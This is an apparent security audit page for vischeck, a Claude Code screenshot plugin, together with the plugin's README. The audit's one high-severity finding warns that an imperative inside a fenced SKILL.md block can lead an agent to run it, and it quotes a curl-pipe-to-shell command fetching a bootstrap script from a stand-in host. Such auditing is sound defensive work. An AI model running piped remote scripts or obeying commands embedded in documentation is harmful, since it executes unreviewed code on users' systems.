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SaferSkills independently audited vischeck (Plugin) and scored it 91/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 1 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
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A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.
text (not bash) so it reads as prose, not a command.```bash
Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh
```See INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.Every scanned point with the score it earned and what moved between them.
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A Claude Code plugin for visual verification of UI changes. Bundles a screenshot CLI, a smart PostToolUse hook, and two skills.
| Component | Purpose |
|---|---|
bin/screenshot | Authenticated screenshot CLI via Playwright — auto-added to PATH |
bin/screenshots | Multi-page batch CLI — captures a list of pages in one go and builds an index.html grid |
hooks/ | PostToolUse hook — reminds Claude to invoke vischeck:verify after view edits |
skills/verify/ | vischeck:verify — screenshot workflow + a strict review rubric (zoom into the component, compare against the house style, report findings by severity), dark/light mode guidance, playwright-cli testing |
skills/setup-auth/ | vischeck:setup-auth — sets up the dev auth bypass route (Rails, Django, Flask, FastAPI) |
/plugin install github:mickzijdel/vischeckPrerequisite: uv. The bin/ scripts use PEP 723 inline script metadata, so uv installs their Python dependencies (playwright, pyyaml) automatically on first run — no pip install or virtualenv needed. Playwright's browser binary is a one-time download:
uvx playwright install chromiumThe screenshot command is available in any Claude Code session once the plugin is active:
screenshot /dashboard # authenticated screenshot
screenshot /dashboard --dark # dark color scheme
screenshot /dashboard --width 375 --height 812 # mobile viewport
screenshot /dashboard --full-page # full scrollable page
screenshot /dashboard --selector ".user-card" # capture just one element, for close inspection
screenshot /dashboard --port 8080 # non-default port
screenshot /dashboard --no-auth # public page, skip login
screenshot /dashboard --auth-url "/login?token={token}&next={path}" # custom auth URLScreenshots save to tmp/screenshots/ in the current working directory. Token is read from DEV_AUTH_TOKEN env var (default: claude-screenshot-token).
screenshots (plural) captures a whole list of pages in one batch — useful for re-screenshotting the same set while iterating, or grabbing several affected pages at once. It invokes the single screenshot tool per page (in parallel), so the same auto-auth, error handling, and dark-mode behaviour applies. All images plus an index.html grid land in tmp/screenshots/batch_<timestamp>/.
screenshots / /dashboard /news # capture exactly these paths
screenshots # use ./screenshots.yml top-level `pages:`
screenshots --group smoke # capture a named group
screenshots -g smoke,admin # union of several groups (repeatable too)
screenshots --all # union of every group
screenshots --list # list the groups defined in the config
screenshots --config pages.yml # explicit config file
screenshots --dark # dark scheme for all pages
screenshots --selector ".card" # capture the same element on every page
screenshots --workers 8 # more parallelismSelection: positional paths always win. Otherwise --group / --all / --list operate on the config's groups:, and with no selection the config's top-level pages: list is used. The config file is auto-discovered as screenshots.yml, .screenshots.yml, or config/screenshots.yml in the current directory. With nothing to capture it prints the available groups (or the format help) and exits non-zero — it never guesses a page list.
Create a screenshots.yml to keep a consistent set of pages. Each entry is a plain path string, or a mapping with per-entry overrides; top-level keys are global defaults:
# optional global defaults
port: 3000
width: 1280
height: 720
pages: # default set, used when no group is selected
- / # string form
- path: /dashboard # mapping form, per-entry overrides
dark: true # capture this one in dark mode too
- path: /mobile
width: 375 # override viewport for just this page
height: 812Define named groups: to re-screenshot a coherent slice without retyping paths — e.g. a smoke set for the public site, an admin set, a users set. A group is either a list of page entries, or a mapping with pages: plus group-level option defaults (e.g. the whole admin group in dark mode or behind a different auth URL):
groups:
smoke: # list form
- /
- /shows
- /news
admin: # mapping form with group-level defaults
dark: true
auth_url: "/admin_login?token={token}&redirect_to={path}"
pages:
- /admin
- /admin/users
users:
- /users/sign_in
- path: /users/profile
dark: trueSelect with screenshots --group admin, combine with screenshots -g smoke,users (or --all), and enumerate with screenshots --list. Overlapping paths across selected groups are captured once.
Option precedence (most specific wins): per-entry override → group-level default → CLI flag → top-level global → built-in default. Override keys: dark, full_page, width, height, no_auth, auth_url, selector. The dark variant of a path gets a _dark filename suffix so it doesn't collide with the light one. The command exits non-zero if any page fails to capture.
The screenshot tool authenticates via a lightweight dev-only bypass route. To set it up in your project, ask Claude to invoke vischeck:setup-auth — it will ask for your permission and then implement the appropriate route for your framework (Rails, Django, Flask, or FastAPI).
After every Write or Edit on a view/template file, Claude is reminded to invoke vischeck:verify. A file counts as a view if either:
.erb, .html, .jsx, .tsx, .vue, .svelte, .hbs, .ejs, .pug, .liquid, .blade.php, .twig, …), orviews/, components/, pages/, layouts/, or partials/ directory (or app/javascript/controllers/).Files in a templates/ directory are matched by extension only — a templates/ folder routinely holds config/data files (Helm/CI YAML, Pkl config templates), so matching it by path alone misfired on .yml/.pkl and the like. Real HTML templates in there still fire via their extension.
The hook also:
CLAUDE.md for dark/light mode mentions — if found, suggests testing both; if absent, suggests documenting itAdd a line to your project's CLAUDE.md so the hook gives the right advice:
## UI: This app supports dark mode and light modeTooling is managed with mise and pre-commit hooks run via hk. The toolchain is spec'd "latest" in mise.toml and pinned reproducibly (resolved versions + checksums) in the committed mise.lock.
mise install # provision hk, gitleaks, shellcheck, shfmt, uv, ruff, node
hk install # install the git pre-commit hook (lint + secret-scan + dead-code/duplication)
hk run check # the same full suite under one name (what CI runs)
uv run pytest # run the test suite for the bundled scriptsBuilt with: the bin/ scripts are self-contained PEP 723 Python (requires-python >= 3.11) — bin/screenshot uses Playwright, bin/screenshots uses PyYAML — installed on first run by uv, plus the bash hook bin/vischeck-hook. All runtime deps are unpinned (resolved to latest by uv); the dev toolchain versions are pinned in mise.lock. Linting: shellcheck/shfmt (shell), ruff (Python), gitleaks (secrets), vulture + jscpd (audits, now on pre-commit too — jscpd skips gracefully when offline) — see hk.pkl and .github/workflows/ci.yml.
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